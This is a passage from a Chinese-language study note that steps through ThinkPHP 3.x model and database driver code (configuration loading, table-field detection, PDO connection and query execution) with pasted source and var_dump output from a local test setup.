                'database'    => $config['db_name'],
                'dsn'         => isset($config['db_dsn']) ? $config['db_dsn'] : null,
                'params'      => isset($config['db_params']) ? $config['db_params'] : null,
                'charset'     => isset($config['db_charset']) ? $config['db_charset'] : 'utf8',
                'deploy'      => isset($config['db_deploy_type']) ? $config['db_deploy_type'] : 0,
                'rw_separate' => isset($config['db_rw_separate']) ? $config['db_rw_separate'] : false,
                'master_num'  => isset($config['db_master_num']) ? $config['db_master_num'] : 1,
                'slave_no'    => isset($config['db_slave_no']) ? $config['db_slave_no'] : '',
                'debug'       => isset($config['db_debug']) ? $config['db_debug'] : APP_DEBUG,
                'lite'        => isset($config['db_lite']) ? $config['db_lite'] : false,
            );
        } else {
            $config = array(
                'type'        => C('DB_TYPE'),
                'username'    => C('DB_USER'),
                'password'    => C('DB_PWD'),
                'hostname'    => C('DB_HOST'),
                'hostport'    => C('DB_PORT'),
                'database'    => C('DB_NAME'),
                'dsn'         => C('DB_DSN'),
                'params'      => C('DB_PARAMS'),
                'charset'     => C('DB_CHARSET'),
                'deploy'      => C('DB_DEPLOY_TYPE'),
                'rw_separate' => C('DB_RW_SEPARATE'),
                'master_num'  => C('DB_MASTER_NUM'),
                'slave_no'    => C('DB_SLAVE_NO'),
                'debug'       => C('DB_DEBUG', null, APP_DEBUG),
                'lite'        => C('DB_LITE'),
            );
        }
        return $config;
    }

这是一个私有的静态方法。
逻辑:

  • 接收一个数据库连接配置数组$config或从配置文件中读取数据库连接配置信息
  • 如果传入了非空的配置数组$config,则跟进数组键名不区分大小写的特性,将数组键名统一转化为小写,并从给定的配置数组中提取数据库连接所需要的参数,参数包括:
    • 数据库类型
    • 用户名
    • 主机名
    • 密码
    • 主机端口
    • 数据库名
    • 数据库DSN
    • 连接参数
    • 字符集
    • 数据库部署方式
    • 读写分离
    • 主服务器数量
    • 从服务器编号
    • 调试模式
    • 是否使用轻量级数据库
  • 如果没有传入配置数组$config,则从系统的全局之中读取相同的数据库连接参数,即用上面所说的C()方法进行获取
  • 返回整理后的数据库连接配置数组

然后因为上面的$config为空,所以直接利用C()方法去获取配置。
获取一下然后dump出来看看

array(15) { 
'type'     => string(5) "mysql" 
'username' => string(4) "root" 
'password' => string(7) "root123" 
'hostname' => string(9) "127.0.0.1" 
'hostport' => int(3306) 
'database' => string(3) "web" 
'dsn'      => NULL 
'params'   => array(0) { } 
'charset'  => string(4) "utf8" 
'deploy'   => int(0) 
'rw_separate' => bool(false) 
'master_num'=> int(1) 
'slave_no'  => string(0) "" 
'debug'     => bool(true) 
lite'       => NULL }

回到db方法,
在几个判断处打了一个断点且用echo测试
发现:

  • type为mysql不需要转化
  • $option['lite']为空即$class的值为Think\Db\Driver\Mysql
  • $clas被定义且静态调用instance方法,实例化一个对象

然后就到了Drive.class.php中的__construct方法
这个时候有点好奇为什么不是经过autoload方法而是直接进入Driver类,
就去问了一下师傅,说是经历过autoload加载后的类就不需要再autoload了,所以就直接进入对应的类。(使用get_decleared_classes就可以看见被声明过的类了)

function __construct() in Drive.class.php

/**
     * 架构函数 读取数据库配置信息
     * @access public
     * @param array $config 数据库配置数组
     */
    public function __construct($config = '')
    {   echo "Drive类的construct方法被调用!\r\n"; //自己添加用于测试
        if (!empty($config)) {
            $this->config = array_merge($this->config, $config);
            if (is_array($this->config['params'])) {
                $this->options = $this->config['params'] + $this->options;
            }
        }
    }

逻辑

  • 如果传入了$config参数,会将传入的配置信息与当前实例的配置信息进行合并,$config参数可以包含数据库连接需要的各种参数
  • 如果$this->$config['params']是一个数组,会将其合并到$this->option数组中。

然后同样dump了一下,

$this->$config:
 array(17) { 'type' => string(5) "mysql" 
 'hostname' => string(9) "127.0.0.1" 
 'database' => string(3) "web" 
 'username' => string(4) "root" 
 'password' => string(7) "root123" 
 'hostport' => int(3306) 
 'dsn' => NULL 
 'params' => array(0) { } 
 'charset' => string(4) "utf8" 
 'prefix' => string(0) "" 
 'debug' => bool(true) 
 'deploy' => int(0) 
 'rw_separate' => bool(false) 
 'master_num' => int(1) 
 'slave_no' => string(0) "" 
 'db_like_fields' => string(0) "" 
 'lite' => NULL 
 }

$this->options
array(4) { 
[8] => int(2) 
[3] => int(2) 
[11] => int(0) 
[17] => bool(false) 
}

跟进后返回到db方法

// 切换数据库连接
        $this->db = $this->_db[$linkNum];
        $this->_after_db();
        // 字段检测
        if (!empty($this->name) && $this->autoCheckFields) {
            $this->_checkTableInfo();
        }

        return $this;

dump出$this->db的值

D:\phpstudy_pro\WWW\N1start\tp\ThinkPHP\Library\Think\Model.class.php:1620: class Think\Db\Driver\Mysql#
8 (17) {
protected $PDOStatement => NULL 
protected $model => string(7) "_think_" 
protected $queryStr => string(0) "" 
protected $modelSql => array(0) { } 
protected $lastInsID => NULL 
protected $numRows => int(0) 
protected $transTimes => int(0) 
protected $error => string(0) "" 
protected $linkID => array(0) { } 
protected $_linkID => NULL 
protected $config => array(17) {
'type' => string(5) "mysql" 
'hostname' => string(9) "127.0.0.1" 
'database' => string(3) "web" 
'username' => string(4) "root" 
'password' => string(7) "root123" 
'hostport' => int(3306) 
'dsn' => NULL 
'params' => array(0) { } 
'charset' => string(4) "utf8" 
'prefix' => string(0) "" 
'debug' => bool(true) 
'deploy' => int(0) 
'rw_separate' => bool(false) 
'master_num' => int(1) 
'slave_no' => string(0) "" 
'db_like_fields' => string(0) "" 
'lite' => NULL } 
protected $exp => array(14) { 
'eq' => string(1) "=" 
'neq' => string(2) "<>" 
'gt' => string(1) ">" 
'egt' => string(2) ">=" 
'lt' => string(1) "<" 
'elt' => string(2) "<=" 
'notlike' => string(8) "NOT LIKE" 
'like' => string(4) "LIKE" 
'in' => string(2) "IN" 
'notin' => string(6) "NOT IN" 
'not in' => string(6) "NOT IN" 
'between' => string(7) "BETWEEN" 
'not between' => string(11) "NOT BETWEEN" 
'notbetween' => string(11) "NOT BETWEEN" } 
protected $selectSql => string(109) "SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%" protected $queryTimes => int(0) 
protected $executeTimes => int(0) 
protected $options => array(4) { 
[8] => int(2) 
[3] => int(2) 
[11] => int(0) 
[17] => bool(false)
} 
protected $bind => array(0) { } 
}

进入_checkTableInfo方法

funtion _checkTableInfo()

/**
     * 自动检测数据表信息
     * @access protected
     * @return void
     */
    protected function _checkTableInfo()
    {
        // 如果不是Model类 自动记录数据表信息
        // 只在第一次执行记录
        if (empty($this->fields)) {
            // 如果数据表字段没有定义则自动获取
            if (C('DB_FIELDS_CACHE')) {
                $db     = $this->dbName ?: C('DB_NAME');
                $fields = F('_fields/' . strtolower($db . '.' . $this->tablePrefix . $this->name));
                if ($fields) {
                    $this->fields = $fields;
                    if (!empty($fields['_pk'])) {
                        $this->pk = $fields['_pk'];
                    }
                    return;
                }
            }else{
                echo "配置不存在!\r\n";//自己加的
            }
            // 每次都会读取数据表信息
            $this->flush();
        }
    }
C('DB_FIELDS_CACHE')

这个用来获取数据库字段缓存配置的函数或方法调用。
然后这里直接跳出了判断说明对应的配置值为空
那就紧接着进入到flush方法

function flush()

/**
     * 获取字段信息并缓存
     * @access public
     * @return void
     */
    public function flush()
    {
        // 缓存不存在则查询数据表信息
        $this->db->setModel($this->name);
        $fields = $this->db->getFields($this->getTableName());
        if (!$fields) {
            // 无法获取字段信息
            return false;
        }
        $this->fields = array_keys($fields);
        unset($this->fields['_pk']);
        foreach ($fields as $key => $val) {
            // 记录字段类型
            $type[$key] = $val['type'];
            if ($val['primary']) {
                // 增加复合主键支持
                if (isset($this->fields['_pk']) && null != $this->fields['_pk']) {
                    if (is_string($this->fields['_pk'])) {
                        $this->pk            = array($this->fields['_pk']);
                        $this->fields['_pk'] = $this->pk;
                    }
                    $this->pk[]            = $key;
                    $this->fields['_pk'][] = $key;
                } else {
                    $this->pk            = $key;
                    $this->fields['_pk'] = $key;
                }
                if ($val['autoinc']) {
                    $this->autoinc = true;
                }

            }
        }
        // 记录字段类型信息
        $this->fields['_type'] = $type;

        // 2008-3-7 增加缓存开关控制
        if (C('DB_FIELDS_CACHE')) {
            // 永久缓存数据表信息
            $db = $this->dbName ?: C('DB_NAME');
            F('_fields/' . strtolower($db . '.' . $this->tablePrefix . $this->name), $this->fields);
        }
    }

逻辑:

  • 首先,该方法通过数据库操作对象 $this->db 获取当前数据表的字段信息。
  • 如果缓存中不存在字段信息,会通过数据库查询获取数据表的字段信息。 如果成功获取到数据表的字段信息,则会对字段进行处理,提取字段名并记录字段类型。同时,如果存在主键字段,则会将主键字段信息记录下来。
  • 根据配置项 C('DB_FIELDS_CACHE') 的值来决定是否开启数据库字段信息的缓存功能。如果配置项为真(即开启状态),则将字段信息以永久缓存的方式存储起来,使用了 F('_fields/' . strtolower($db . '.' . $this->tablePrefix . $this->name), $this->fields) 进行缓存。缓存的键名包含了数据库名称、表前缀和表名等信息,以确保缓存的唯一性和准确性。

跟进一下进入setModel方法

function setModel()

public function setModel($model)
    {
        $this->model = $model;
    }

传入的model是

string(8) "Articles"

然后进入getTableName方法

function getTableName()

/**
     * 得到完整的数据表名
     * @access public
     * @return string
     */
    public function getTableName()
    {    echo "getTableName方法被调用!\r\n";
        if (empty($this->trueTableName)) {
            $tableName = !empty($this->tablePrefix) ? $this->tablePrefix : '';
            if (!empty($this->tableName)) {
                $tableName .= $this->tableName;
            } else {
                $tableName .= parse_name($this->name);
            }
            $this->trueTableName = strtolower($tableName);
        }
        return (!empty($this->dbName) ? $this->dbName . '.' : '') . $this->trueTableName;
    }

逻辑

  • 当调用该方法时,会先判断是否已经存在缓存的数据表名($this->trueTableName)。如果存在,则直接返回缓存的表名,无需重新生成。
  • 如果不存在缓存的表名,会根据以下规则生成数据表名:
    • 如果设置了表前缀($this->tablePrefix),将其添加到表名中。
    • 如果设置了具体的表名($this->tableName),则使用该表名。
    • 如果没有设置具体的表名,则将模型名称($this->name)进行转换,然后作为表名。
    • 最后,将生成的表名转换为小写,并存储在 $this->trueTableName 中缓存起来。
  • 返回格式化后的数据表名。如果设置了数据库名($this->dbName),则返回 数据库名.表名 的格式,否则只返回表名。

$this->trueTableName为空所以进入到if判断中,因为传入的tablePrefix也为空所以$tableName = ""
这里的判断有点不理解所以就自己写了一个例子:

<?php
$a = "";
if(!empty($a)){
    echo "TRUE";
}else{
    echo "FALSE";
}
?>

a存在的时候为TRUE,不存在(NULL)的时候为FALSE

所以

$tableName .= parse_name($this->name);

这里直接进入parse_name方法(.=表示字符串拼接赋值)

function parse_name()

/**
 * 字符串命名风格转换
 * type 0 将Java风格转换为C的风格 1 将C风格转换为Java的风格
 * @param string $name 字符串
 * @param integer $type 转换类型
 * @return string
 */
function parse_name($name, $type = 0)
{
    if ($type) {
        return ucfirst(preg_replace_callback('/_([a-zA-Z])/', function ($match) {return strtoupper($match[1]);}, $name));
    } else {
        return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
    }
}

逻辑:

  • 当$type为真时,执行驼峰命名到下划线命名的转化:
    • 使用正则表达式/_([a-zA-Z])/匹配下划线跟着一个字母的情况。
    • 使用preg_replace_callback()方法进行匹配替换,将下划线后的字符转化为大写形式。
    • 最后,使用unfirst方法将首字母转化为大写。
  • 当$type为假的时候,执行下划线命名到驼峰命名的转化。
    • 使用正则表达式/[A-Z]/匹配大写字母的情况。
    • 使用preg_reoplace方法将匹配到的大写字母替换为_加上相同的大写字母
    • 使用trim()方法去除字符串首尾的_
    • 最后,使用strtolower方法将字符串转化为小写

然后注意到了这里有个匿名函数:

function ($match) {return strtoupper($match[1]);}

前面使用了preg_replacer_callback()方法,这个匿名函数被用做回调函数

  • $match是preg_replacer_callback()方法传递给回调函数的匹配结果数组。在这里,他表示正则表达式匹配到的结果。
  • $match[1]包含了正则表达式中括号内匹配到的内容,即一个小写字母。
  • strtoupper($match[1])将匹配到的小写字母转换为大写字母

最后转化完之后为:articles
最后这个方法返回值为:articles

随后进入getfield方法

function getfield()

/**
     * 取得数据表的字段信息
     * @access public
     */
    public function getFields($tableName)
    {
        $this->initConnect(true);
        list($tableName) = explode(' ', $tableName);
        if (strpos($tableName, '.')) {
            list($dbName, $tableName) = explode('.', $tableName);
            $sql                      = 'SHOW COLUMNS FROM `' . $dbName . '`.`' . $tableName . '`';
        } else {
            $sql = 'SHOW COLUMNS FROM `' . $tableName . '`';
        }

        $result = $this->query($sql);
        $info   = array();
        if ($result) {
            foreach ($result as $key => $val) {
                if (\PDO::CASE_LOWER != $this->_linkID->getAttribute(\PDO::ATTR_CASE)) {
                    $val = array_change_key_case($val, CASE_LOWER);
                }
                $info[$val['field']] = array(
                    'name'    => $val['field'],
                    'type'    => $val['type'],
                    'notnull' => (bool) ('' === $val['null']), // not null is empty, null is yes
                    'default' => $val['default'],
                    'primary' => (strtolower($val['key']) == 'pri'),
                    'autoinc' => (strtolower($val['extra']) == 'auto_increment'),
                );
            }
        }
        return $info;
    }

逻辑:

  • 初始化数据库连接。
  • 解析传入的 $tableName 参数,以便准备构建 SQL 查询语句。如果 $tableName 包含了数据库名称和数据表名称,则将其分离出来,以便构建查询语句。如果没有数据库名称,则默认在当前数据库中查询。
  • 根据构建好的 SQL 查询语句,执行 SHOW COLUMNS FROM 查询获取表的字段信息。
  • 对查询结果进行处理,遍历结果集并将每个字段的相关信息存储在数组 $info 中:
    • 字段名作为数组的键;
    • 字段的相关信息(如类型、是否为主键、是否自增等)作为数组的值。
  • 返回存储字段信息的数组 $info。

根据上面的传参可以知道这里进入getfield方法的参数为:“articles‘,然后进行初始化数据库连接(即进入initConnect方法)

function initConnect()

/**
     * 初始化数据库连接
     * @access protected
     * @param boolean $master 主服务器
     * @return void
     */
    protected function initConnect($master = true)
    {
        if (!empty($this->config['deploy']))
        // 采用分布式数据库
        {
            $this->_linkID = $this->multiConnect($master);
        } else
        // 默认单数据库
        if (!$this->_linkID) {
            $this->_linkID = $this->connect();
        }

    }
  • 首先,检查配置中是否启用了数据库的分布式部署
  • 如果分配了分布式数据库,则用multiConnect方法来建立数据库的连接
  • 如果为设置分布式数据库,或者分布式数据库连接为false,则通过connect方法建立单个数据库连接
    这里通过给的文件可以看出来,肯定是属于单数据库的,所以我们跟进到connect方法进行初始化

function connect()

/**
     * 连接数据库方法
     * @access public
     */
    public function connect($config = '', $linkNum = 0, $autoConnection = false)
    {
        if (!isset($this->linkID[$linkNum])) {
            if (empty($config)) {
                $config = $this->config;
            }

            try {
                if (empty($config['dsn'])) {
                    $config['dsn'] = $this->parseDsn($config);
                }
                if (version_compare(PHP_VERSION, '5.3.6', '<=')) {
                    // 禁用模拟预处理语句
                    $this->options[PDO::ATTR_EMULATE_PREPARES] = false;
                }
                $this->linkID[$linkNum] = new PDO($config['dsn'], $config['username'], $config['password'], $this->options);
            } catch (\PDOException $e) {
                if ($autoConnection) {
                    trace($e->getMessage(), '', 'ERR');
                    return $this->connect($autoConnection, $linkNum);
                } elseif ($config['debug']) {
                    E($e->getMessage());
                }
            }
        }
        return $this->linkID[$linkNum];
    }
  • 因为前面的调用的时候并没有传参,所以这里三个参数的默认值不变
  • 首先判断之前指定的连接编号的数据库有无建立连接,若无,则创建新的连接
  • 先获取了配置信息$config
    array(17) {
    'type' =>
    string(5) "mysql"
    'hostname' =>
    string(9) "127.0.0.1"
    'database' =>
    string(3) "web"
    'username' =>
    string(4) "root"
    'password' =>
    string(7) "root123"
    'hostport' =>
    int(3306)
    'dsn' =>
    NULL
    'params' =>
    array(0) {
    }·
    'charset' =>
    string(4) "utf8"
    'prefix' =>
    string(0) ""
    'debug' =>
    bool(true)
    'deploy' =>
    int(0)
    'rw_separate' =>
    bool(false)
    'master_num' =>
    int(1)
    'slave_no' =>
    string(0) ""
    'db_like_fields' =>
    string(0) ""
    'lite' =>
    NULL
    }
    
  • 进入到获取DSN中,这里我就直接把获取的配置dump出来了,就不进去进行分析了
    string(54) "mysql:dbname=web;host=127.0.0.1;port=3306;charset=utf8"
    
  • 这里的判断version也是没有过去,所以就跳到下面的new PDO了
  • 在连接过程中,捕获可能出现的PDOException异常,如果异常被捕获到,根据情况做以下处理
    • 如果启动了自动连接$autoconnection为真,则记录异常信息并尝试重新连接数据库
    • 如果没有启动自动连接,并且配置中的调试模式开启,则抛出异常信息
  • 最后返回建立的数据库连接对象$this->linkID[$linkNum],或者在异常的时候抛出false

建立连接后我们继续跟进getfield方法
这里的$tableName没有.号所以这里直接跳到else,然后定义了sql语句

$sql = 'SHOW COLUMNS FROM ' . $tableName . '';

跟进query方法

function query()

/**
     * 执行查询 返回数据集
     * @access public
     * @param string $str  sql指令
     * @param boolean $fetchSql  不执行只是获取SQL
     * @return mixed
     */
    public function query($str, $fetchSql = false)
    {
        $this->initConnect(false);
        if (!$this->_linkID) {
            return false;
        }

        $this->queryStr = $str;
        if (!empty($this->bind)) {
            $that           = $this;
            $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
        }
        if ($fetchSql) {
            return $this->queryStr;
        }
        //释放前次的查询结果
        if (!empty($this->PDOStatement)) {
            $this->free();
        }

        $this->queryTimes++;
        N('db_query', 1); // 兼容代码
        // 调试开始
        $this->debug(true);
        $this->PDOStatement = $this->_linkID->prepare($str);
        if (false === $this->PDOStatement) {
            $this->error();
            return false;
        }
        foreach ($this->bind as $key => $val) {
            if (is_array($val)) {
                $this->PDOStatement->bindValue($key, $val[0], $val[1]);
            } else {
                $this->PDOStatement->bindValue($key, $val);
            }
        }
        $this->bind = array();
        try {
            $result = $this->PDOStatement->execute();
            // 调试结束
            $this->debug(false);
            if (false === $result) {
                $this->error();
                return false;
            } else {
                return $this->getResult();
            }
        } catch (\PDOException $e) {
            $this->error();
            return false;
        }
    }
  • 这里再次调用了一次initconnect方法进行初始化数据库,所以后面的逻辑不在说明
  • $this->queryStr = $str;这里将查询语句赋值给queryStr属性
  • 这里跟进代码后直接跳过了两个if判断也就是说明$fetchSqland PDOStatement都不存在或者为null(也就是说明上次查询的结果为空,Fetchsql默认为false所以这里直接过了)
  • queryTimes++也就是查询次数+1
  • 进入N方法

function N()

/**  
* 设置和获取统计数据  
* 使用方法:  
* <code>  
* N('db',1); // 记录数据库操作次数  
* N('read',1); // 记录读取次数  
* echo N('db'); // 获取当前页面数据库的所有操作次数  
* echo N('read'); // 获取当前页面读取次数  
* </code>  
* @param string $key 标识位置  
* @param integer $step 步进值  
* @param boolean $save 是否保存结果  
* @return mixed  
*/  
function N($key, $step = 0, $save = false)  
{ echo "N方法被调用!!!\r\n";  
static $_num = array();  
if (!isset($_num[$key])) {  
$_num[$key] = (false !== $save) ? S('N_' . $key) : 0;  
}  
if (empty($step)) {  
return $_num[$key];  
} else {  
$_num[$key] = $_num[$key] + (int) $step;  
}  
if (false !== $save) {  
// 保存结果  
S('N_' . $key, $_num[$key], $save);  
}  
return null;  
}
  • 先定义了一个数组$_num(guess是用来保存计数器类的东西)
  • dump了一下$_num[$key]的值,为NULL所以可以进入到下面的三元运算符
  • $save默认为false所以这里最后的值为0
  • 然后调用的时候传入的参数$step=1所以进入else
    • 将$_num[$key]的值改为step的值
  • 最后没有保存结果返回了null
    继续回到query方法
  • 进入debug方法
    ### function debug()
/**  
* 数据库调试 记录当前SQL  
* @access protected  
* @param boolean $start 调试开始标记 true 开始 false 结束  
*/  
protected function debug($start)  
{  
if ($this->config['debug']) {  
// 开启数据库调试模式  
if ($start) {  
G('queryStartTime');  
} else {  
$this->modelSql[$this->model] = $this->queryStr;  
//$this->model = '_think_';  
// 记录操作结束时间  
G('queryEndTime');  
trace($this->queryStr . ' [ RunTime:' . G('queryStartTime', 'queryEndTime') . 's ]', '', 'SQL');  
}  
}  
}
  • 传参$start = true
  • 这里G的调用前面分析过了就是用来记录和统计时间和内存使用情况的
  • 最后就跳出debug

回到query() 没绷住这里来回跳跃.jpg

$this->PDOStatement = $this->_linkID->prepare($str);
  • 利用PDO::prepare方法准备查询语句,将绑定的参数$sql绑定到查询中。
    同样的我dump出来:
    class PDOStatement#10 (1) {|
    public $queryString =>
    string(57) "SELECT `content` FROM `articles` WHERE `id` = 1 LIMIT 1 "
    }
    
    这里把查询语句搬出来一下:

select SELECT content FROM articles WHERE id = 1 LIMIT 1

so,这个地方的$this->PDOStatement不为false,直接走下去

foreach ($this->bind as $key => $val) {
            if (is_array($val)) {
                $this->PDOStatement->bindValue($key, $val[0], $val[1]);
            } else {
                $this->PDOStatement->bindValue($key, $val);
            }
        }

这段debug的时候直接跳了就不分析了

  • 重新给$this->bind赋值为0
  • 关闭了debug(可能是不在需要记录调试信息)
  • $result = 1 -> return $this->getResult()

function getResult()

/**
     * 获得所有的查询数据
     * @access private
     * @return array
     */
    private function getResult()
    {
        //返回数据集
        $result        = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC);
        $this->numRows = count($result);
        return $result;
    }
  • $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC);
    • fetchALL是PDOStatement对象的方法,用于从数据库中获取查询的结构集
    • PDO::FETCH_ASSOC是一个常量,表示返回的结果以关联数组的形式进行返回,其中键名是列名。
  • $this->numRows = count($result);
  • 查询结果中的行数存储在$this->numRows这个类属性中。

这里最后就返回了结果,也就是我们现在回到getFields方法继续进行分析
然后这里我就把返回的结果dump一下

array(3) {
[0] =>
array(6) {
'field' =>
string(2) "id"
'type' =>
string(7) "int(11)"
'null' =>
string(2) "NO"
'key' =>
string(3) "PRI"
'default' =>
NULL
'extra' =>
string(14) "auto_increment"
}
[1] =>
array(6) {
'field' =>
string(7) "content"
'type' =>
string(4) "text"
'null' =>
string(3) "YES"
'key' =>
string(0) ""
'default' =>
NULL
'extra' =>
string(0) ""
}
[2] =>
array(6) {
'field' =>
string(5) "title"
'type' =>
string(4) "text"
'null' =>
string(3) "YES"
'key' =>
string(0) ""
'default' =>
NULL
'extra' =>
string(0) ""
}
}
  • 先定义个空的数组$info用来存储数据
  • 利用遍历循环,遍历了数据库查询返回的结果集$result。每个$var变量代表一个记录,存储了字段的信息。
  • if (\PDO::CASE_LOWER != $this->_linkID->getAttribute(\PDO::ATTR_CASE))
    • \PDO::CASE_LOWER是PDO类的一个常量,表示键名转化为小写。
    • PDO::ATTR_CASE用于获取键名大小写转化的模式
  • 所以这个逻辑就是:首先检查当前数据库连接的属性,确定数据库是否对键名大小写敏感,如果对键名大小写不敏感则转化为小写(即最后保存在数组中的数据都是小写)

dump一下info

array(3) {
'id' =>
array(6) {
'name' =>
string(2) "id"
'type' =>
string(7) "int(11)"
'notnull' =>
bool(false)
'default' =>
NULL
'primary' =>
bool(true)
'autoinc' =>
bool(true)
}
'content' =>
array(6) {
'name' =>
string(7) "content"
'type' =>
string(4) "text"
'notnull' =>
bool(false)
'default' =>
NULL
'primary' =>
bool(false)
'autoinc' =>
bool(false)
}
'title' =>
array(6) {
'name' =>
string(5) "title"
'type' =>
string(4) "text"
'notnull' =>
bool(false)
'default' =>
NULL
'primary' =>
bool(false)
'autoinc' =>
bool(false)
}
}

那么到这里就返回了内容后回到flush方法继续跟进

  • 传回info之后赋值给fields
  • 调用$this→field赋值为fileld的name值
  • dump:
array(3) {
  [0] =>
  string(2) "id"
  [1] =>
  string(7) "content"
  [2] =>
  string(5) "title"
}
  • 利用unset销毁$this→fields[’_pk’](这里应该是局部变量)

  • 循环遍历数据库查询结果中的字段信息。

  • 将字段类型记录到 $type 数组中,以字段名为键名。

    • dump值:

      string(7) "int(11)"
      string(4) "text"
      string(4) "text"
      
  • 判断当前是否是主键字段

    • 如果已经存在主键字段($this->fields['_pk']),并且不为空,则表示当前表是复合主键。
    • 如果主键是字符串类型,将其转换为数组形式,并重新赋值给 $_pk。
    • 将当前字段名追加到主键数组中,并更新 _pk 字段信息。
  • 如果不存在主键字段,则将当前字段名作为主键字段。

  • 如果当前字段具有自动增长属性($val['autoinc'] 为真),将 $this->autoinc 设置为真,表示主键是自动增长的。

  • 这里debug了一下发现只有一个主键,所以后面两个值不是主键。并且第一个不是复合主键

  • 在循环之后记录字段类型信息,dump(其实也就是前面循环遍历处理来的值)

array(3) {
  'id' => string(7) "int(11)"
  'content' => string(4) "text"
  'title' => string(4) "text"
}
  • 通过C方法判断数据库字段缓存是否开启,若开启则永久保存数据表信息(debug直接跳过了所以没有开启)

然后这里就把这些参数一一传回去,然后到这里为止M方法走完了,接下来就进入了field方法field('content')

function field()

/**
     * 指定查询字段 支持字段排除
     * @access public
     * @param mixed $field
     * @param boolean $except 是否排除
     * @return Model
     */
    public function field($field, $except = false)
    {   echo "field函数被调用!!\r\n";
        if (true === $field){
// 获取全部字段
            $fields = $this->getDbFields();
            $field  = $fields ?: '*';
        } elseif ($except) {
// 字段排除
            if (is_string($field)) {
                $field = explode(',', $field);
            }
            $fields = $this->getDbFields();
            $field  = $fields ? array_diff($fields, $field) : $field;
        }
        $this->options['field'] = $field;
        return $this;
    }
  • 因为传入的field值不是bool值并且$except = false所以直接到最后面两个语句
    $this->options['field'] = $field;
    return $this;
    
    最后return的结果是:
    class Think\Model#7 (21) {
    protected $db =>
    class Think\Db\Driver\Mysql#8 (17) {
      protected $PDOStatement =>
      class PDOStatement#10 (1) {
        public $queryString =>
        string(28) "SHOW COLUMNS FROM `articles`"
      }
      protected $model =>
      string(8) "Articles"
      protected $queryStr =>
      string(28) "SHOW COLUMNS FROM `articles`"
      protected $modelSql =>
      array(1) {
        'Articles' =>
        string(28) "SHOW COLUMNS FROM `articles`"
      }
      protected $lastInsID =>
      NULL
      protected $numRows =>
      int(3)
      protected $transTimes =>
      int(0)
      protected $error =>
      string(0) ""
      protected $linkID =>
      array(1) {
        [0] =>
        class PDO#9 (0) {
          ...
        }
      }
      protected $_linkID =>
      class PDO#9 (0) {
      }
      protected $config =>
      array(17) {
        'type' =>
        string(5) "mysql"
        'hostname' =>
        string(9) "127.0.0.1"
        'database' =>
        string(3) "web"
        'username' =>
        string(4) "root"
        'password' =>
        string(7) "root123"
        'hostport' =>
        int(3306)
        'dsn' =>
        NULL
        'params' =>
        array(0) {
          ...
        }
        'charset' =>
        string(4) "utf8"
        'prefix' =>
        string(0) ""
        'debug' =>
        bool(true)
        'deploy' =>
        int(0)
        'rw_separate' =>
        bool(false)
        'master_num' =>
        int(1)
        'slave_no' =>
        string(0) ""
        'db_like_fields' =>
        string(0) ""
        'lite' =>
        NULL
      }
      protected $exp =>
      array(14) {
        'eq' =>
        string(1) "="
        'neq' =>
        string(2) "<>"
        'gt' =>
        string(1) ">"
        'egt' =>
        string(2) ">="
        'lt' =>
        string(1) "<"
        'elt' =>
        string(2) "<="
        'notlike' =>
        string(8) "NOT LIKE"
        'like' =>
        string(4) "LIKE"
        'in' =>
        string(2) "IN"
        'notin' =>
        string(6) "NOT IN"
        'not in' =>
        string(6) "NOT IN"
        'between' =>
        string(7) "BETWEEN"
        'not between' =>
        string(11) "NOT BETWEEN"
        'notbetween' =>
        string(11) "NOT BETWEEN"
      }
      protected $selectSql =>
      string(109) "SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%"
      protected $queryTimes =>
      int(1)
      protected $executeTimes =>
      int(0)
      protected $options =>
      array(5) {
        [8] =>
        int(2)
        [3] =>
        int(2)
        [11] =>
        int(0)
        [17] =>
        bool(false)
        [1002] =>
        string(14) "SET NAMES utf8"
      }
      protected $bind =>
      array(0) {
      }
    }
    private $_db =>
    array(1) {
      [0] =>
      class Think\Db\Driver\Mysql#8 (17) {
        protected $PDOStatement =>
        class PDOStatement#10 (1) {
          ...
        }
        protected $model =>
        string(8) "Articles"
        protected $queryStr =>
        string(28) "SHOW COLUMNS FROM `articles`"
        protected $modelSql =>
        array(1) {
          ...
        }
        protected $lastInsID =>
        NULL
        protected $numRows =>
        int(3)
        protected $transTimes =>
        int(0)
        protected $error =>
        string(0) ""
        protected $linkID =>
        array(1) {
          ...
        }
        protected $_linkID =>
        class PDO#9 (0) {
          ...
        }
        protected $config =>
        array(17) {
          ...
        }
        protected $exp =>
        array(14) {
          ...
        }
        protected $selectSql =>
        string(109) "SELECT%DISTINCT% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%LIMIT% %UNION%%LOCK%%COMMENT%"
        protected $queryTimes =>
        int(1)
        protected $executeTimes =>
        int(0)
        protected $options =>
        array(5) {
          ...
        }
        protected $bind =>
        array(0) {
          ...
        }
      }
    }
    protected $pk =>
    string(2) "id"
    protected $autoinc =>
    bool(true)
    protected $tablePrefix =>
    string(0) ""
    protected $name =>
    string(8) "Articles"
    protected $dbName =>
    string(0) ""
    protected $connection =>
    string(0) ""
    protected $tableName =>
    string(0) ""
    protected $trueTableName =>
    string(8) "articles"
    protected $error =>
    string(0) ""
    protected $fields =>
    array(5) {
      [0] =>
      string(2) "id"
      [1] =>
      string(7) "content"
      [2] =>
      string(5) "title"
      '_pk' =>
      string(2) "id"
      '_type' =>
      array(3) {
        'id' =>
        string(7) "int(11)"
        'content' =>
        string(4) "text"
        'title' =>
        string(4) "text"
      }
    }
    protected $data =>
    array(0) {
    }
    protected $options =>
    array(1) {
      'field' =>
      string(7) "content"
    }
    protected $_validate =>
    array(0) {
    }
    protected $_auto =>
    array(0) {
    }
    protected $_map =>
    array(0) {
    }
    protected $_scope =>
    array(0) {
    }
    protected $autoCheckFields =>
    bool(true)
    protected $patchValidate =>
    bool(false)
    protected $methods =>
    array(14) {
      [0] =>
      string(6) "strict"
      [1] =>
      string(5) "order"
      [2] =>
      string(5) "alias"
      [3] =>
      string(6) "having"
      [4] =>
      string(5) "group"
      [5] =>
      string(4) "lock"
